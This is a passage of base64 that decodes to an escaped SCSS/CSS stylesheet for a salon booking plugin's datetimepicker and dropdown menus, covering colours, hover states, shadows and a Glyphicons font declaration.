xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkLmFjdGl2ZTpob3Zlci5hY3RpdmUsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkLmFjdGl2ZS5kaXNhYmxlZC5hY3RpdmUsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkLmFjdGl2ZS5kaXNhYmxlZDpob3Zlci5hY3RpdmUge1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiAjMDAzMzk5IFxcOTtcbn1cbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXJcblx0LmRhdGV0aW1lcGlja2VyLWhvdXJzXG5cdHRhYmxlXG5cdHRyXG5cdHRkXG5cdHNwYW4uaG91cl9hbSxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXJcblx0LmRhdGV0aW1lcGlja2VyLWhvdXJzXG5cdHRhYmxlXG5cdHRyXG5cdHRkXG5cdHNwYW4uaG91cl9wbSB7XG5cdHdpZHRoOiAxNC42JTtcbn1cbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgLmRhdGV0aW1lcGlja2VyLWhvdXJzIGZpZWxkc2V0IGxlZ2VuZCxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgLmRhdGV0aW1lcGlja2VyLW1pbnV0ZXMgZmllbGRzZXQgbGVnZW5kIHtcblx0bWFyZ2luLWJvdHRvbTogaW5oZXJpdDtcblx0bGluZS1oZWlnaHQ6IDMwcHg7XG59XG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkIHNwYW4uZGlzYWJsZWQsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkIHNwYW4uZGlzYWJsZWQ6aG92ZXIge1xuXHRiYWNrZ3JvdW5kOiBub25lO1xuXHRjb2xvcjogIzk5OTk5OTtcblx0Y3Vyc29yOiBkZWZhdWx0O1xufVxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZCBzcGFuLmFjdGl2ZSxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQgc3Bhbi5hY3RpdmU6aG92ZXIsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkIHNwYW4uYWN0aXZlLmRpc2FibGVkLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZCBzcGFuLmFjdGl2ZS5kaXNhYmxlZDpob3ZlciB7XG5cdGJhY2tncm91bmQtY29sb3I6ICMwMDZkY2M7XG5cdGJhY2tncm91bmQtaW1hZ2U6IC1tb3otbGluZWFyLWdyYWRpZW50KHRvcCwgIzAwODhjYywgIzAwNDRjYyk7XG5cdGJhY2tncm91bmQtaW1hZ2U6IC1tcy1saW5lYXItZ3JhZGllbnQodG9wLCAjMDA4OGNjLCAjMDA0NGNjKTtcblx0YmFja2dyb3VuZC1pbWFnZTogLXdlYmtpdC1ncmFkaWVudChcblx0XHRsaW5lYXIsXG5cdFx0MCAwLFxuXHRcdDAgMTAwJSxcblx0XHRmcm9tKCMwMDg4Y2MpLFxuXHRcdHRvKCMwMDQ0Y2MpXG5cdCk7XG5cdGJhY2tncm91bmQtaW1hZ2U6IC13ZWJraXQtbGluZWFyLWdyYWRpZW50KHRvcCwgIzAwODhjYywgIzAwNDRjYyk7XG5cdGJhY2tncm91bmQtaW1hZ2U6IC1vLWxpbmVhci1ncmFkaWVudCh0b3AsICMwMDg4Y2MsICMwMDQ0Y2MpO1xuXHRiYWNrZ3JvdW5kLWltYWdlOiBsaW5lYXItZ3JhZGllbnQodG9wLCAjMDA4OGNjLCAjMDA0NGNjKTtcblx0YmFja2dyb3VuZC1yZXBlYXQ6IHJlcGVhdC14O1xuXHRmaWx0ZXI6IHByb2dpZDpEWEltYWdlVHJhbnNmb3JtLk1pY3Jvc29mdC5ncmFkaWVudChzdGFydENvbG9yc3RyPScjMDA4OGNjJywgZW5kQ29sb3JzdHI9JyMwMDQ0Y2MnLCBHcmFkaWVudFR5cGU9MCk7XG5cdGJvcmRlci1jb2xvcjogIzAwNDRjYyAjMDA0NGNjICMwMDJhODA7XG5cdGJvcmRlci1jb2xvcjogcmdiYSgwLCAwLCAwLCAwLjEpIHJnYmEoMCwgMCwgMCwgMC4xKSByZ2JhKDAsIDAsIDAsIDAuMjUpO1xuXHRmaWx0ZXI6IHByb2dpZDpEWEltYWdlVHJhbnNmb3JtLk1pY3Jvc29mdC5ncmFkaWVudChlbmFibGVkPWZhbHNlKTtcblx0Y29sb3I6ICNmZmY7XG5cdHRleHQtc2hhZG93OiAwIC0xcHggMCByZ2JhKDAsIDAsIDAsIDAuMjUpO1xufVxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZCBzcGFuLmFjdGl2ZTpob3Zlcixcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQgc3Bhbi5hY3RpdmU6aG92ZXI6aG92ZXIsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkIHNwYW4uYWN0aXZlLmRpc2FibGVkOmhvdmVyLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZCBzcGFuLmFjdGl2ZS5kaXNhYmxlZDpob3Zlcjpob3Zlcixcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQgc3Bhbi5hY3RpdmU6YWN0aXZlLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZCBzcGFuLmFjdGl2ZTpob3ZlcjphY3RpdmUsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkIHNwYW4uYWN0aXZlLmRpc2FibGVkOmFjdGl2ZSxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXJcblx0dGFibGVcblx0dHJcblx0dGRcblx0c3Bhbi5hY3RpdmUuZGlzYWJsZWQ6aG92ZXI6YWN0aXZlLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZCBzcGFuLmFjdGl2ZS5hY3RpdmUsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkIHNwYW4uYWN0aXZlOmhvdmVyLmFjdGl2ZSxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQgc3Bhbi5hY3RpdmUuZGlzYWJsZWQuYWN0aXZlLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlclxuXHR0YWJsZVxuXHR0clxuXHR0ZFxuXHRzcGFuLmFjdGl2ZS5kaXNhYmxlZDpob3Zlci5hY3RpdmUsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkIHNwYW4uYWN0aXZlLmRpc2FibGVkLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZCBzcGFuLmFjdGl2ZTpob3Zlci5kaXNhYmxlZCxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQgc3Bhbi5hY3RpdmUuZGlzYWJsZWQuZGlzYWJsZWQsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyXG5cdHRhYmxlXG5cdHRyXG5cdHRkXG5cdHNwYW4uYWN0aXZlLmRpc2FibGVkOmhvdmVyLmRpc2FibGVkLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZCBzcGFuLmFjdGl2ZVtkaXNhYmxlZF0sXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkIHNwYW4uYWN0aXZlOmhvdmVyW2Rpc2FibGVkXSxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQgc3Bhbi5hY3RpdmUuZGlzYWJsZWRbZGlzYWJsZWRdLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlclxuXHR0YWJsZVxuXHR0clxuXHR0ZFxuXHRzcGFuLmFjdGl2ZS5kaXNhYmxlZDpob3ZlcltkaXNhYmxlZF0ge1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiAjMDA0NGNjO1xufVxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZCBzcGFuLmFjdGl2ZTphY3RpdmUsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkIHNwYW4uYWN0aXZlOmhvdmVyOmFjdGl2ZSxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQgc3Bhbi5hY3RpdmUuZGlzYWJsZWQ6YWN0aXZlLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlclxuXHR0YWJsZVxuXHR0clxuXHR0ZFxuXHRzcGFuLmFjdGl2ZS5kaXNhYmxlZDpob3ZlcjphY3RpdmUsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkIHNwYW4uYWN0aXZlLmFjdGl2ZSxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQgc3Bhbi5hY3RpdmU6aG92ZXIuYWN0aXZlLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZCBzcGFuLmFjdGl2ZS5kaXNhYmxlZC5hY3RpdmUsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyXG5cdHRhYmxlXG5cdHRyXG5cdHRkXG5cdHNwYW4uYWN0aXZlLmRpc2FibGVkOmhvdmVyLmFjdGl2ZSB7XG5cdGJhY2tncm91bmQtY29sb3I6ICMwMDMzOTkgXFw5O1xufVxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0aGVhZCB0cjpmaXJzdC1jaGlsZCB0aCxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGZvb3QgdHI6Zmlyc3QtY2hpbGQgdGgge1xuXHRjdXJzb3I6IHBvaW50ZXI7XG59XG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRoZWFkIHRyOmZpcnN0LWNoaWxkIHRoOmhvdmVyLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0Zm9vdCB0cjpmaXJzdC1jaGlsZCB0aDpob3ZlciB7XG5cdGJhY2tncm91bmQ6ICNlZWVlZWU7XG59XG4uaW5wdXQtYXBwZW5kLmRhdGUgLmFkZC1vbiBpLFxuLmlucHV0LXByZXBlbmQuZGF0ZSAuYWRkLW9uIGksXG4uaW5wdXQtZ3JvdXAuZGF0ZSAuaW5wdXQtZ3JvdXAtYWRkb24gc3BhbiB7XG5cdGN1cnNvcjogcG9pbnRlcjtcblx0d2lkdGg6IDE0cHg7XG5cdGhlaWdodDogMTRweDtcbn1cbi5jYXJldCB7XG5cdGRpc3BsYXk6IGlubGluZS1ibG9jaztcblx0d2lkdGg6IDA7XG5cdGhlaWdodDogMDtcblx0bWFyZ2luLWxlZnQ6IDJweDtcblx0dmVydGljYWwtYWxpZ246IG1pZGRsZTtcblx0Ym9yZGVyLXRvcDogNHB4IHNvbGlkO1xuXHRib3JkZXItcmlnaHQ6IDRweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0Ym9yZGVyLWxlZnQ6IDRweCBzb2xpZCB0cmFuc3BhcmVudDtcbn1cbi5kcm9wZG93biB7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcbn1cbi5kcm9wZG93bi10b2dnbGU6Zm9jdXMge1xuXHRvdXRsaW5lOiAwO1xufVxuLmRyb3Bkb3duLW1lbnUuZGF0ZXRpbWVwaWNrZXIge1xuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdHRvcDogMTAwJTtcblx0bGVmdDogMDtcblx0ei1pbmRleDogMTAwMDtcblx0ZGlzcGxheTogbm9uZTtcblx0ZmxvYXQ6IGxlZnQ7XG5cdG1pbi13aWR0aDogMTYwcHg7XG5cdHBhZGRpbmc6IDVweCAwO1xuXHRtYXJnaW46IDJweCAwIDA7XG5cdGxpc3Qtc3R5bGU6IG5vbmU7XG5cdGZvbnQtc2l6ZTogMWVtO1xuXHR0ZXh0LWFsaWduOiBsZWZ0O1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmO1xuXHRib3JkZXI6IDFweCBzb2xpZCAjY2NjO1xuXHRib3JkZXI6IDFweCBzb2xpZCByZ2JhKDAsIDAsIDAsIDAuMTUpO1xuXHRib3JkZXItcmFkaXVzOiA0cHg7XG5cdC13ZWJraXQtYm94LXNoYWRvdzogMCA2cHggMTJweCByZ2JhKDAsIDAsIDAsIDAuMTc1KTtcblx0Ym94LXNoYWRvdzogMCA2cHggMTJweCByZ2JhKDAsIDAsIDAsIDAuMTc1KTtcblx0YmFja2dyb3VuZC1jbGlwOiBwYWRkaW5nLWJveDtcbn1cbi5wb3N0LXR5cGUtc2xuX2Jvb2tpbmcgLmRyb3Bkb3duLW1lbnUuZGF0ZXRpbWVwaWNrZXIge1xuXHRmb250LXNpemU6IDEuMTI1cmVtO1xuXHQ+IGRpdiB7XG5cdFx0cGFkZGluZzogMXJlbSAxLjVyZW07XG5cdFx0Ji5kYXRldGltZXBpY2tlci1taW51dGVzIHtcblx0XHRcdHBhZGRpbmc6IDAuMnJlbTtcblx0XHR9XG5cdH1cblx0dGQsXG5cdHRoLFxuXHR0YWJsZSB0ciB0ZCBzcGFuIHtcblx0XHR3aWR0aDogZml0LWNvbnRlbnQ7XG5cdFx0aGVpZ2h0OiBmaXQtY29udGVudDtcblx0XHRwYWRkaW5nOiAwLjc1cmVtO1xuXHRcdGJvcmRlci1yYWRpdXM6IDVweDtcblx0XHRmb250LXdlaWdodDogNTAwO1xuXHRcdCY6ZW1wdHkge1xuXHRcdFx0b3BhY2l0eTogMDtcblx0XHR9XG5cdH1cblx0LmRhdGV0aW1lcGlja2VyLWRheXMge1xuXHRcdHRkLFxuXHRcdHRoLFxuXHRcdHRhYmxlIHRyIHRkIHNwYW4ge1xuXHRcdFx0Jjpub3QoLmRvdykge1xuXHRcdFx0XHRib3JkZXItY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tZ3JleS0tbGlnaHQoMSk7XG5cdFx0XHRcdGJhY2tncm91bmQtY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tZ3JleS0tbGlnaHQoMSk7XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG5cdC5kYXRldGltZXBpY2tlci1taW51dGVzIHtcblx0XHRoZWlnaHQ6IDMwdmg7XG5cdFx0dGFibGUgdHIgdGQgc3BhbiB7XG5cdFx0XHR3aWR0aDogMTQuNiU7XG5cdFx0XHRmb250LXNpemU6IDEuMTI1cmVtO1xuXHRcdH1cblx0XHRzcGFuIHtcblx0XHRcdGhlaWdodDogZml0LWNvbnRlbnQ7XG5cdFx0XHRsaW5lLWhlaWdodDogMS40O1xuXHRcdH1cblx0fVxuXHR0YWJsZSB0ciB0ZC5kYXk6bm90KC5kaXNhYmxlZCksXG5cdHRhYmxlIHRyIHRkIHNwYW4uaG91cjpub3QoLmRpc2FibGVkKTpub3QoLmFjdGl2ZSksXG5cdHRhYmxlIHRyIHRkIHNwYW4ubWludXRlOm5vdCguZGlzYWJsZWQpOm5vdCguYWN0aXZlKSB7XG5cdFx0YmFja2dyb3VuZC1jb2xvcjogY29sb3JzLW51LnNsbi1hZG1pbl9udWNvbG9yLS1vay0tYmcoMSk7XG5cdFx0Y29sb3I6IGNvbG9ycy1udS5zbG4tYWRtaW5fbnVjb2xvci0tb2soMSk7XG5cdFx0Ym9yZGVyLXJhZGl1czogNXB4O1xuXHRcdGZvbnQtd2VpZ2h0OiA1MDA7XG5cdFx0QG1lZGlhIChob3ZlcjogaG92ZXIpIHtcblx0XHRcdCY6aG92ZXIge1xuXHRcdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiBjb2xvcnMtbnUuc2xuLWFkbWluX251Y29sb3ItLW9rKDEpO1xuXHRcdFx0fVxuXHRcdH1cblx0fVxuXHR0YWJsZSB0ciB0ZCBzcGFuLmhvdXIucmVkOm5vdCguZGlzYWJsZWQpOm5vdCguYWN0aXZlKSxcblx0dGFibGUgdHIgdGQgc3Bhbi5taW51dGUucmVkOm5vdCguZGlzYWJsZWQpOm5vdCguYWN0aXZlKSxcblx0dGFibGUgdHIgdGQuZGF5LnJlZDpub3QoLmRpc2FibGVkKSxcblx0LnNlbGVjdDItcmVzdWx0c19fb3B0aW9uLnJlZCB7XG5cdFx0YmFja2dyb3VuZC1jb2xvcjogY29sb3JzLW51LnNsbi1hZG1pbl9udWNvbG9yLS1wcm9ibGVtLS1iZygxKTtcblx0XHRjb2xvcjogY29sb3JzLW51LnNsbi1hZG1pbl9udWNvbG9yLS1wcm9ibGVtKDEpICFpbXBvcnRhbnQ7XG5cdFx0QG1lZGlhIChob3ZlcjogaG92ZXIpIHtcblx0XHRcdCY6aG92ZXIge1xuXHRcdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiBjb2xvcnMtbnUuc2xuLWFkbWluX251Y29sb3ItLXByb2JsZW0oXG5cdFx0XHRcdFx0MVxuXHRcdFx0XHQpICFpbXBvcnRhbnQ7XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG5cdHRoZWFkIHRyOmZpcnN0LWNoaWxkIHRoLFxuXHR0Zm9vdCB0cjpmaXJzdC1jaGlsZCB0aCB7XG5cdFx0QG1lZGlhIChob3ZlcjogaG92ZXIpIHtcblx0XHRcdCY6aG92ZXIge1xuXHRcdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW1haW4oMSk7XG5cdFx0XHRcdGNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLWxpZ2h0ZXN0KDEpO1xuXHRcdFx0fVxuXHRcdH1cblx0fVxuXHQjc2xuLXNhbG9uLS1hZG1pbiAuc2xuLXNlbGVjdC1zcGVjaWZpYy1kYXRlcy1jYWxlbmRhciAuc2xuX2RhdGVwaWNrZXIgLnByZXYsXG5cdCNzbG4tc2Fsb24tLWFkbWluIC5zbG4tc2VsZWN0LXNwZWNpZmljLWRhdGVzLWNhbGVuZGFyIC5zbG5fZGF0ZXBpY2tlciAubmV4dCxcblx0LnNsbi1kYXRldGltZXBpY2tlciAucHJldixcblx0LnNsbi1kYXRldGltZXBpY2tlciAubmV4dCB7XG5cdH1cbn1cbi5pbm1vZGFsLnBvc3QtdHlwZS1zbG5fYm9va2luZyAuZHJvcGRvd24tbWVudS5kYXRldGltZXBpY2tlciB7XG5cdC5kYXRldGltZXBpY2tlci1taW51dGVzIHtcblx0XHRoZWlnaHQ6IDUwdmg7XG5cdH1cbn1cbi5kcm9wZG93bi1tZW51LmRhdGV0aW1lcGlja2VyLnB1bGwtcmlnaHQge1xuXHRyaWdodDogMDtcblx0bGVmdDogYXV0bztcbn1cbi5kcm9wZG93bi1tZW51LmRhdGV0aW1lcGlja2VyIC5kaXZpZGVyIHtcblx0aGVpZ2h0OiAxcHg7XG5cdG1hcmdpbjogOXB4IDA7XG5cdG92ZXJmbG93OiBoaWRkZW47XG5cdGJhY2tncm91bmQtY29sb3I6ICNlNWU1ZTU7XG59XG4uZHJvcGRvd24tbWVudS5kYXRldGltZXBpY2tlciA+IGxpID4gYSB7XG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRwYWRkaW5nOiAzcHggMjBweDtcblx0Y2xlYXI6IGJvdGg7XG5cdGZvbnQtd2VpZ2h0OiBub3JtYWw7XG5cdGxpbmUtaGVpZ2h0OiAxLjQyODU3MTQzO1xuXHRjb2xvcjogIzMzMzMzMztcblx0d2hpdGUtc3BhY2U6IG5vd3JhcDtcbn1cbi5kcm9wZG93bi1tZW51LmRhdGV0aW1lcGlja2VyID4gbGkgPiBhOmhvdmVyLFxuLmRyb3Bkb3duLW1lbnUuZGF0ZXRpbWVwaWNrZXIgPiBsaSA+IGE6Zm9jdXMge1xuXHR0ZXh0LWRlY29yYXRpb246IG5vbmU7XG5cdGNvbG9yOiAjMjYyNjI2O1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiAjZjVmNWY1O1xufVxuLmRyb3Bkb3duLW1lbnUuZGF0ZXRpbWVwaWNrZXIgPiAuYWN0aXZlID4gYSxcbi5kcm9wZG93bi1tZW51LmRhdGV0aW1lcGlja2VyID4gLmFjdGl2ZSA+IGE6aG92ZXIsXG4uZHJvcGRvd24tbWVudS5kYXRldGltZXBpY2tlciA+IC5hY3RpdmUgPiBhOmZvY3VzIHtcblx0Y29sb3I6ICNmZmY7XG5cdHRleHQtZGVjb3JhdGlvbjogbm9uZTtcblx0b3V0bGluZTogMDtcblx0YmFja2dyb3VuZC1jb2xvcjogIzA3NmI5ZDtcbn1cbi5kcm9wZG93bi1tZW51LmRhdGV0aW1lcGlja2VyID4gLmRpc2FibGVkID4gYSxcbi5kcm9wZG93bi1tZW51LmRhdGV0aW1lcGlja2VyID4gLmRpc2FibGVkID4gYTpob3Zlcixcbi5kcm9wZG93bi1tZW51LmRhdGV0aW1lcGlja2VyID4gLmRpc2FibGVkID4gYTpmb2N1cyB7XG5cdGNvbG9yOiAjNzc3Nzc3O1xufVxuLmRyb3Bkb3duLW1lbnUuZGF0ZXRpbWVwaWNrZXIgPiAuZGlzYWJsZWQgPiBhOmhvdmVyLFxuLmRyb3Bkb3duLW1lbnUuZGF0ZXRpbWVwaWNrZXIgPiAuZGlzYWJsZWQgPiBhOmZvY3VzIHtcblx0dGV4dC1kZWNvcmF0aW9uOiBub25lO1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcblx0YmFja2dyb3VuZC1pbWFnZTogbm9uZTtcblx0ZmlsdGVyOiBwcm9naWQ6RFhJbWFnZVRyYW5zZm9ybS5NaWNyb3NvZnQuZ3JhZGllbnQoZW5hYmxlZCA9IGZhbHNlKTtcblx0Y3Vyc29yOiBub3QtYWxsb3dlZDtcbn1cbi5vcGVuID4gLmRyb3Bkb3duLW1lbnUuZGF0ZXRpbWVwaWNrZXIge1xuXHRkaXNwbGF5OiBibG9jaztcbn1cbi5vcGVuID4gYSB7XG5cdG91dGxpbmU6IDA7XG59XG4uZHJvcGRvd24tbWVudS1yaWdodCB7XG5cdGxlZnQ6IGF1dG87XG5cdHJpZ2h0OiAwO1xufVxuLmRyb3Bkb3duLW1lbnUtbGVmdCB7XG5cdGxlZnQ6IDA7XG5cdHJpZ2h0OiBhdXRvO1xufVxuLmRyb3Bkb3duLWhlYWRlciB7XG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRwYWRkaW5nOiAzcHggMjBweDtcblx0Zm9udC1zaXplOiAwLjg1ZW07XG5cdGxpbmUtaGVpZ2h0OiAxLjQyODU3MTQzO1xuXHRjb2xvcjogIzc3Nzc3Nztcblx0d2hpdGUtc3BhY2U6IG5vd3JhcDtcbn1cbi5kcm9wZG93bi1iYWNrZHJvcCB7XG5cdHBvc2l0aW9uOiBmaXhlZDtcblx0bGVmdDogMDtcblx0cmlnaHQ6IDA7XG5cdGJvdHRvbTogMDtcblx0dG9wOiAwO1xuXHR6LWluZGV4OiA5OTA7XG59XG4ucHVsbC1yaWdodCA+IC5kcm9wZG93bi1tZW51LmRhdGV0aW1lcGlja2VyIHtcblx0cmlnaHQ6IDA7XG5cdGxlZnQ6IGF1dG87XG59XG4uZHJvcHVwIC5jYXJldCxcbi5uYXZiYXItZml4ZWQtYm90dG9tIC5kcm9wZG93biAuY2FyZXQge1xuXHRib3JkZXItdG9wOiAwO1xuXHRib3JkZXItYm90dG9tOiA0cHggc29saWQ7XG5cdGNvbnRlbnQ6IFwiXCI7XG59XG4uZHJvcHVwIC5kcm9wZG93bi1tZW51LmRhdGV0aW1lcGlja2VyLFxuLm5hdmJhci1maXhlZC1ib3R0b20gLmRyb3Bkb3duIC5kcm9wZG93bi1tZW51LmRhdGV0aW1lcGlja2VyIHtcblx0dG9wOiBhdXRvO1xuXHRib3R0b206IDEwMCU7XG5cdG1hcmdpbi1ib3R0b206IDFweDtcbn1cbkBtZWRpYSAobWluLXdpZHRoOiA3NjhweCkge1xuXHQubmF2YmFyLXJpZ2h0IC5kcm9wZG93bi1tZW51LmRhdGV0aW1lcGlja2VyIHtcblx0XHRsZWZ0OiBhdXRvO1xuXHRcdHJpZ2h0OiAwO1xuXHR9XG5cdC5uYXZiYXItcmlnaHQgLmRyb3Bkb3duLW1lbnUtbGVmdCB7XG5cdFx0bGVmdDogMDtcblx0XHRyaWdodDogYXV0bztcblx0fVxufVxuKixcbio6YmVmb3JlLFxuKjphZnRlciB7XG5cdC1tb3otYm94LXNpemluZzogYm9yZGVyLWJveDtcblx0LXdlYmtpdC1ib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xufVxuKjpmb2N1cyxcbio6YmVmb3JlOmZvY3VzLFxuKjphZnRlcjpmb2N1cyB7XG5cdG91dGxpbmU6IDAgIWltcG9ydGFudDtcbn1cbi52ZXJ0aWNhbC1jZW50ZXJpbmcge1xuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdHRvcDogNTAlO1xuXHQtd2Via2l0LXRyYW5zZm9ybTogdHJhbnNsYXRlWSgtNTAlKTtcblx0LW1zLXRyYW5zZm9ybTogdHJhbnNsYXRlWSgtNTAlKTtcblx0dHJhbnNmb3JtOiB0cmFuc2xhdGVZKC01MCUpO1xufVxuLnpEZXB0aC0xIHtcblx0LXdlYmtpdC1ib3gtc2hhZG93OiAwIDFweCA0cHggcmdiYSgwLCAwLCAwLCAwLjI0KTtcblx0LW1vei1ib3gtc2hhZG93OiAwIDFweCA0cHggcmdiYSgwLCAwLCAwLCAwLjI0KTtcblx0Ym94LXNoYWRvdzogMCAxcHggNHB4IHJnYmEoMCwgMCwgMCwgMC4yNCk7XG59XG4uekRlcHRoLTIge1xuXHQtd2Via2l0LWJveC1zaGFkb3c6IDAgM3B4IDEwcHggcmdiYSgwLCAwLCAwLCAwLjIzKTtcblx0LW1vei1ib3gtc2hhZG93OiAwIDNweCAxMHB4IHJnYmEoMCwgMCwgMCwgMC4yMyk7XG5cdGJveC1zaGFkb3c6IDAgM3B4IDEwcHggcmdiYSgwLCAwLCAwLCAwLjIzKTtcbn1cbi56RGVwdGgtMyB7XG5cdC13ZWJraXQtYm94LXNoYWRvdzogMCA2cHggMTBweCByZ2JhKDAsIDAsIDAsIDAuMjMpO1xuXHQtbW96LWJveC1zaGFkb3c6IDAgNnB4IDEwcHggcmdiYSgwLCAwLCAwLCAwLjIzKTtcblx0Ym94LXNoYWRvdzogMCA2cHggMTBweCByZ2JhKDAsIDAsIDAsIDAuMjMpO1xufVxuQGZvbnQtZmFjZSB7XG5cdGZvbnQtZmFtaWx5OiBcIkdseXBoaWNvbnMgSGFsZmxpbmdzXCI7XG5cdHNyYzogdXJsKFwiLi4vZm9udHMvZ2x5cGhpY29ucy1oYWxmbGluZ3MtcmVndWxhci5lb3RcIik7XG5cdHNyYzpcblx0XHR1cmwoXCIuLi9mb250cy9nbHlwaGljb25zLWhhbGZsaW5ncy1yZWd1bGFyLmVvdD8jaWVmaXhcIilcblx0XHRcdGZvcm1hdChcImVtYmVkZGVkLW9wZW50eXBlXCIpLFxuXHRcdHVybChcIi4uL2ZvbnRzL2dseXBoaWNvbnMtaGFsZmxpbmdzLXJlZ3VsYXIud29mZlwiKSBmb3JtYXQoXCJ3b2ZmXCIpLFxuXHRcdHVybChcIi4uL2ZvbnRzL2dseXBoaWNvbnMtaGFsZmxpbmdzLXJlZ3VsYXIudHRmXCIpIGZvcm1hdChcInRydWV0eXBlXCIpLFxuXHRcdHVybChcIi4uL2ZvbnRzL2dseXBoaWNvbnMtaGFsZmxpbmdzLXJlZ3VsYXIuc3ZnI2dseXBoaWNvbnNfaGFsZmxpbmdzcmVndWxhclwiKVxuXHRcdFx0Zm9ybWF0KFwic3ZnXCIpO1xufVxuLmdseXBoaWNvbiB7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0dG9wOiAxcHg7XG5cdGRpc3BsYXk6IGlubGluZS1ibG9jaztcblx0Zm9udC1mYW1pbHk6IFwiR2x5cGhp